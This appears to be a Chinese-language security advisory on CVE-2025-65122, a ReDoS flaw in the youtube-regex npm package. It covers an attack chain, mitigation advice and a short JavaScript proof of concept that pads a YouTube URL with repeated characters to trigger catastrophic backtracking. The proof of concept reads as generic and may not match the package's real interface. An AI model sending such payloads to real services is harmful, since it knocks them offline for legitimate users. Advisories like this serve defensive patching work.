IPBUF安全漏洞报告
English
CVE-2025-65122 CVSS 7.5 高危

CVE-2025-65122: youtube-regex正则拒绝服务漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2025-65122
漏洞类型
正则表达式拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
youtube-regex (npm package)

相关标签

ReDoS正则表达式拒绝服务youtube-regexnpmDoS高危

漏洞概述

CVE-2025-65122 是 youtube-regex npm 包(版本 <= 1.0.5)中的一个高危漏洞。该漏洞源于用于匹配 YouTube 链接的正则表达式存在设计缺陷,导致易受正则表达式拒绝服务攻击。攻击者无需用户交互即可通过网络发送特制字符串,触发正则引擎的灾难性回溯,从而瞬间消耗大量 CPU 资源,致使应用程序挂起或崩溃,严重影响服务可用性。

技术细节

该漏洞属于典型的 ReDoS(正则表达式拒绝服务)。youtube-regex 包中的正则表达式模式包含复杂的分组和量词组合,在面对特定结构的恶意输入时,会引发灾难性回溯。当正则引擎尝试匹配这种输入时,它会探索指数级数量的匹配路径,导致计算时间呈指数级增长。攻击者只需发送一个相对较长的精心构造的字符串(通常包含重复字符和特定符号),就能让单核 CPU 满载运行数秒甚至数分钟。由于该漏洞无需认证且利用难度低,一旦被利用,将严重影响后端服务的处理能力和响应速度。

攻击链分析

STEP 1
侦察与识别
攻击者识别目标网站或应用是否使用了 vulnerable 版本的 youtube-regex 库来处理用户输入。
STEP 2
构造恶意载荷
攻击者编写脚本生成包含特定模式(如大量重复字符)的字符串,该字符串能够触发正则表达式的回溯机制。
STEP 3
发送攻击请求
攻击者通过 HTTP 请求将恶意字符串发送给服务器,通常作为 URL 参数或请求体的一部分,传递给使用该正则的解析函数。
STEP 4
触发拒绝服务
服务器执行正则匹配时陷入指数级回溯计算,CPU 占用率飙升至 100%,导致处理线程阻塞,无法响应正常用户请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Proof of Concept for CVE-2025-65122 (ReDoS in youtube-regex) // This script demonstrates the denial of service vulnerability. const youtubeRegex = require('youtube-regex'); // Construct a malicious payload that triggers catastrophic backtracking. // A long string of repeated characters often breaks poorly defined regex. const maliciousInput = 'http://youtube.com/watch?v=' + 'a'.repeat(1000) + '!'; console.log('Testing with payload length:', maliciousInput.length); const start = Date.now(); // This regex operation will hang the CPU due to ReDoS const isMatch = youtubeRegex.test(maliciousInput); const duration = Date.now() - start; console.log(`Match result: ${isMatch}`); console.log(`Time taken: ${duration}ms`); // Expected result: High CPU usage and significant time delay.

影响范围

youtube-regex <= 1.0.5

防御指南

临时缓解措施
如果无法立即升级,建议在应用层面对所有传入的正则匹配输入实施严格的长度限制(例如限制 URL 参数长度不超过 255 字符)。此外,可以使用 Node.js 的 VM 模块或第三方库(如 `safe-regex`)来检测或限制正则操作的执行时间,防止线程被长时间挂起。

参考链接